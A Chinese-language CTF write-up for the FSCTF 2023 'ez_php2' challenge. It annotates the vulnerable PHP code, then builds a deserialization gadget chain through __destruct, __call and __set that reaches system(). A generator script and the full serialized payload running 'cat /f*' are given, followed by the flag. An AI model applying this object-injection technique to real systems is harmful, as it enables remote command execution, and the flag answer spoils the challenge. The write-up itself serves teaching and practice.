[FSCTF 2023]ez_php2

[FSCTF 2023]ez_php2

点开之后是一段php代码：

 <?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> You are Silly goose!

首先我们审计这段代码。

这段代码主要定义了四个类（Rd、Poc、Er、Ha），并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数，则尝试反序列化其值，否则输出 “You are Silly goose!”。

以下是对代码的详细解读：

 <?php
highlight_file(__file__);    这个函数会高亮显示
当前文件的代码内容，通常用于调试或展示代码结构，但
在生产环境中一般不应该使用，因为它可能会暴露敏感信息。
Class Rd{   定义了一个名为Rd的类。
    public $ending;
    public $cl;
    public $poc;声明了三个公共属性
    public function __destruct() __destruct()魔术
    方法：当对象被销毁时会触发这个方法。它会输出 “All
     matters have concluded”，然后使用die()函数终
     止程序并输出ending属性的值。
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)__call()魔
    术方法：当调用一个不可访问的方法时会触发这个方法。
    这里它遍历传入的参数，如果参数中的某个元素的键为
    POC且值为 “1111”，则输出 “1”，并将cl属性的var1
    属性设置为 “system”。
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{   定义了一个名为Poc的类。
    public $payload;
    public $fun;声明了两个公共属性。
    public function __set($name, $value) __set()
    魔术方法：当给一个不可访问的属性赋值时会触发这个
    方法。它将传入的属性名和值分别赋值给payload和fun属性。
    {
        $this->payload = $name;
        $this->fun = $value;
    }
    function getflag($paylaod)  getflag()方法：输
    出一段文本，然后使用file_get_contents()函数尝试
    获取传入参数所指定的文件内容。如果传入的参数是恶
    意的，可能会导致安全问题，例如读取敏感文件。
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{  定义了一个名为Er的类
    public $symbol;
    public $Flag;声明了两个公共属性。
    public function __construct() __construct()构
    造方法：将symbol属性初始化为True。
    {
        $this->symbol = True;
    }

    public function __set($name, $value)__set()魔
    术方法：当给一个不可访问的属性赋值时会触发这个方法。
    它会将传入的值作为函数调用，并将Flag属性作为参数传
    入这个函数。如果传入的值是恶意的函数，可能会导致安全问题。
    {
        $value($this->Flag);
    }


}

class Ha{   定义了一个名为Ha的类。
    public $start;
    public $start1;
    public $start2;声明了三个公共属性。
    public function __construct() __construct()
    构造方法：输出start1属性的值和 “__construct” 
    以及一个换行符。
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()  __destruct()魔术
    方法：当对象被销毁时会触发这个方法。如果start2属
    性的值为 “11111”，则调用start1属性的Love()方法，
    并传入start属性作为参数，然后输出 “You are Good!”。
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}检查是否存在$_GET['Ha_rde_r']参数。如果存在，则对
其进行反序列化操作；如果不存在，则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造，可能会导致安全问题，例如对象注入攻击。
?> You are Silly goose!

开始找链子，入口在Ha里面。触发__destruct方法后，给start2赋值"11111"，然后进入如下语句：

$this->start1->Love($this->start);

使得其触发__call方法，然后给start赋值[‘POC’=>‘1111’]
进入if语句，然后通过其中的var1触发__set方法
然后value就成为了system，修改$Flag就可以修改执行的命令了

然后我们构造如下脚本：

<?php
Class Rd{
    public $cl;
}
class Er{
    public $Flag='cat /f*';
}
class Ha{
    public $start;
    public $start1;
    public $start2="11111";
}

$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>

运行之后得到：
得到了一串编码：

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}

然后我们构造payload：

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}

然后我们打开HackBar 运行之后得到flag：
由此我们得到本题flag：
flag{Y0u_a2e_S0_G00d!!!}